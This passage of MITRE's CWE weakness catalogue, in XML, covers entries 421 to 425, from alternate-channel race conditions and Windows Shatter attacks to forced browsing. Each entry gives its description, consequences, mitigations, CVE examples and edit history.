					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="421" Name="Race Condition During Access to Alternate Channel" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product opens an alternate channel to communicate with an authorized user, but the channel is accessible to other actors.</Description>
         <Extended_Description>This creates a race condition that allows an attacker to access the channel before the authorized user does.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="420" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="362" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Impact>Bypass Protection Mechanism</Impact>
            </Consequence>
         </Common_Consequences>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-1999-0351</Reference>
               <Description>FTP "Pizza Thief" vulnerability. Attacker can connect to a port that was intended for use by another client.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-1999-0351</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0230</Reference>
               <Description>Product creates Windows named pipe during authentication that another attacker can hijack by connecting to it.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0230</Link>
            </Observed_Example>
         </Observed_Examples>
         <Affected_Resources>
            <Affected_Resource>System Process</Affected_Resource>
         </Affected_Resources>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Alternate Channel Race Condition</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-354"/>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 13: Race Conditions.&#34; Page 205"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Observed_Example, Other_Notes, Taxonomy_Mappings, Type</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-01-12</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Alternate Channel Race Condition</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="422" Name="Unprotected Windows Messaging Channel ('Shatter')" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product does not properly verify the source of a message in the Windows Messaging System while running at elevated privileges, creating an alternate channel through which an attacker can directly send a message to the product.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="420" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="360" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Impact>Bypass Protection Mechanism</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Always verify and authenticate the source of the message.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2002-0971</Reference>
               <Description>Bypass GUI and access restricted dialog box.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0971</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1230</Reference>
               <Description>Gain privileges via Windows message.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1230</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0350</Reference>
               <Description>A control allows a change to a pointer for a callback function using Windows message.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0350</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0908</Reference>
               <Description>Product launches Help functionality while running with raised privileges, allowing command execution using Windows message to access "open file" dialog.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0908</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0213</Reference>
               <Description>Attacker uses Shatter attack to bypass GUI-enforced protection for CVE-2003-0908.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0213</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0207</Reference>
               <Description>User can call certain API functions to modify certain properties of privileged programs.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0207</Link>
            </Observed_Example>
         </Observed_Examples>
         <Affected_Resources>
            <Affected_Resource>System Process</Affected_Resource>
         </Affected_Resources>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Unprotected Windows Messaging Channel ('Shatter')</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP30</Entry_ID>
               <Entry_Name>Missing endpoint authentication</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-402"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 2, &#34;Design Review.&#34; Page 34"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 12, &#34;Shatter Attacks&#34;, Page 694"/>
         </References>
         <Notes>
            <Note Type="Relationship">Overlaps privilege errors and UI errors.</Note>
            <Note Type="Research Gap">
               <xhtml:p>Possibly under-reported, probably under-studied. It is suspected that a number of publicized vulnerabilities that involve local privilege escalation on Windows systems may be related to Shatter attacks, but they are not labeled as such.</xhtml:p>
               <xhtml:p>Alternate channel attacks likely exist in other operating systems and messaging models, e.g. in privileged X Windows applications, but examples are not readily available.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Other_Notes, Relationship_Notes, Research_Gaps</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="423" Name="DEPRECATED: Proxied Trusted Channel" Abstraction="Base" Structure="Simple" Status="Deprecated">
         <Description>This entry has been deprecated because it was a duplicate of CWE-441. All content has been transferred to CWE-441.</Description>
         <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: This CWE has been deprecated.</xhtml:p>
               <xhtml:p>Comments: see description for suggestions of other CWEs to consider.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-05</Modification_Date>
               <Modification_Comment>deprecated this entry as a duplicate of 441</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Description, Name, Other_Notes, Potential_Mitigations, Relationships, Taxonomy_Mappings, Time_of_Introduction, Type</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Name</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-11-24">Proxied Trusted Channel</Previous_Entry_Name>
			<Previous_Entry_Name Date="2021-07-20">DEPRECATED (Duplicate): Proxied Trusted Channel</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="424" Name="Improper Protection of Alternate Path" Abstraction="Class" Structure="Simple" Status="Draft">
         <Description>The product does not sufficiently protect all possible paths that a user can take to access restricted functionality or resources.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="693" View_ID="1000"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="638" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
               <Impact>Gain Privileges or Assume Identity</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Deploy different layers of protection to implement security in depth.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Alternate Path Errors</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP35</Entry_ID>
               <Entry_Name>Insecure resource access</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="127"/>
            <Related_Attack_Pattern CAPEC_ID="554"/>
         </Related_Attack_Patterns>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Alternate Path Errors</Previous_Entry_Name>
            <Previous_Entry_Name Date="2010-12-13">Failure to Protect Alternate Path</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="425" Name="Direct Request ('Forced Browsing')" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The web application does not adequately enforce appropriate authorization on all restricted URLs, scripts, or files.</Description>
         <Extended_Description>Web applications susceptible to direct request attacks often make the false assumption that such resources can only be reached through a given navigation path and so only apply authorization at certain points in the path.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="862" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="862" View_ID="1003" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="288" View_ID="1000"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="424" View_ID="1000"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="471" View_ID="1000"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="98" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Technology Class="Web Based" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>forced browsing</Term>
               <Description>The "forced browsing" term could be misinterpreted to include weaknesses such as CSRF or XSS, so its use is discouraged.</Description>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Scope>Availability</Scope>
               <Scope>Access Control</Scope>
               <Impact>Read Application Data</Impact>
               <Impact>Modify Application Data</Impact>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Impact>Gain Privileges or Assume Identity</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Phase>Operation</Phase>
               <Description>Apply appropriate access control authorizations for each access to all restricted URLs, scripts or files.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Consider using MVC based frameworks such as Struts.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>If forced browsing is possible, an attacker may be able to directly access a sensitive page by entering a URL similar to the following.</Intro_Text>
               <Example_Code Nature="Attack" Language="JSP">
                  <xhtml:div>http://somesite.com/someapplication/admin.jsp</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2022-29238</Reference>
               <Description>Access-control setting in web-based document collaboration tool is not properly implemented by the code, which prevents listing hidden directories but does not prevent direct requests to files in those directories.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2022-29238</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2022-23607</Reference>
               <Description>Python-based HTTP library did not scope cookies to a particular domain such that "supercookies" could be sent to any domain on redirect.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2022-23607</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-2144</Reference>
               <Description>Bypass authentication via direct request.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-2144</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1892</Reference>
               <Description>Infinite loop or infoleak triggered by direct requests.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1892</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-2257</Reference>
               <Description>Bypass auth/auth via direct request.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-2257</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1688</Reference>
               <Description>Direct request leads to infoleak by error.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1688</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1697</Reference>
               <Description>Direct request leads to infoleak by error.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1697</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1698</Reference>
               <Description>Direct request leads to infoleak by error.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1698</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1685</Reference>
               <Description>Authentication bypass via direct request.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1685</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1827</Reference>
               <Description>Authentication bypass via direct request.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1827</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1654</Reference>
               <Description>Authorization bypass using direct request.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1654</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1668</Reference>
               <Description>Access privileged functionality using direct request.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1668</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1798</Reference>
               <Description>Upload arbitrary files via direct request.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1798</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Direct Request aka 'Forced Browsing'</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2007">
               <Entry_ID>A10</Entry_ID>
               <Entry_Name>Failure to Restrict URL Access</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2004">
               <Entry_ID>A1</Entry_ID>
               <Entry_Name>Unvalidated Input</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2004">
               <Entry_ID>A2</Entry_ID>
               <Entry_Name>Broken Access Control</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="WASC">
               <Entry_ID>34</Entry_ID>
               <Entry_Name>Predictable Resource Location</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP30</Entry_ID>
               <Entry_Name>Missing endpoint authentication</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="127"/>
            <Related_Attack_Pattern CAPEC_ID="143"/>
            <Related_Attack_Pattern CAPEC_ID="144"/>
            <Related_Attack_Pattern CAPEC_ID="668"/>
            <Related_Attack_Pattern CAPEC_ID="87"/>
         </Related_Attack_Patterns>
         <Notes>
            <Note Type="Relationship">Overlaps Modification of Assumed-Immutable Data (MAID), authorization errors, container errors; often primary to other weaknesses such as XSS and SQL injection.</Note>
            <Note Type="Theoretical">"Forced browsing" is a step-based manipulation involving the omission of one or more steps, whose order is assumed to be immutable. The application does not verify that the first step was performed successfully before the second step. The consequence is typically "authentication bypass" or "path disclosure," although it can be primary to all kinds of weaknesses, especially in languages such as PHP, which allow external modification of assumed-immutable variables.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Sean Eidemiller</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>added/updated demonstrative examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Organization>Veracode</Modification_Organization>
               <Modification_Date>2008-08-15</Modification_Date>
               <Modification_Comment>Suggested OWASP Top Ten 2004 mapping</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Alternate_Terms, Relationships, Relationship_Notes, Taxonomy_Mappings, Theoretical_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Description, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
